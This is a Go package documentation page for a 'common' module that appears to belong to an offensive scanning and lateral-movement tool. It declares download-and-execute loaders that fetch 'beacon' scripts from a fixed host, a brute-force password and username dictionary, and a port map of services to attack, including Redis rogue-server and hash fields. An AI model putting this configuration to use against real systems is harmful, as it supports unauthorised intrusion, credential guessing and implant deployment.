common

package
v0.0.6 Latest Latest
Warning

This package is not in the latest version of its module.

Go to latest
Published: Nov 10, 2022 License: MIT Imports: 1 Imported by: 0

Documentation

Index

Constants

This section is empty.

Variables

View Source
var DefaultDownloader = Downloader{
	WinHTTP: Loader{
		Addr:        "http://192.168.1.2:8080/beacon.bat",
		FileName:    "beacon.bat",
		ExecCommand: "beacon.bat",
	},
	UnixHTTP: Loader{
		Addr:        "http://192.168.1.2:8080/beacon.sh",
		FileName:    "beacon.sh",
		ExecCommand: "beacon.sh",
	},
	UnixTCP: Loader{
		Addr:        "192.168.1.2:8553/beacon.sh",
		FileName:    "beacon.sh",
		ExecCommand: "beacon.sh",
	},
}
View Source
var Passwords = []string{"123456", "{user}", "{user}@123"}
View Source
var PortList = map[string]string{
	"ssh":           "22",
	"wmi":           "135",
	"smb":           "445",
	"web":           "80,443,8080,8090",
	"mssql":         "1433",
	"docker-remote": "2375",
	"etcd":          "2379",
	"mysql":         "3306",
	"postgresql":    "5432",
	"redis":         "6379",
	"kube-api":      "6443",
	"kubelet":       "10250",
}
View Source
var Userdict = map[string][]string{
	"mysql":      {"root"},
	"ssh":        {"root", "ubuntu", "test"},
	"smb":        {"Administrator"},
	"wmi":        {"Administrator"},
	"mssql":      {"sa"},
	"postgresql": {"postgres"},
}

Functions

This section is empty.

Types

type Commands added in v0.0.5

type Commands struct {
	UnixCommand string
	TCPCommand  string
	WinCommand  string
}

type Downloader

type Downloader struct {
	WinHTTP  Loader
	UnixHTTP Loader
	UnixTCP  Loader
}

type HostInfo

type HostInfo struct {
	Host             string
	Port             string
	Url              string
	DisableExp       bool
	Timeout          int64
	Usernames        []string
	Passwords        []string
	Token            string
	Hash             string
	Command          string
	Commands         Commands
	RedisRogueServer string
	Queue            *queue.Queue
}

type Loader

type Loader struct {
	Addr        string
	FileName    string
	ExecCommand string
}

type Vuln

type Vuln struct {
	Host    string
	Port    string
	Unauth  bool
	User    string
	Pass    string
	Token   string
	Hash    string
	PocName string
}

Directories

Path Synopsis

Jump to

Keyboard shortcuts

? : This menu
/ : Search site
f or F : Jump to
y or Y : Canonical URL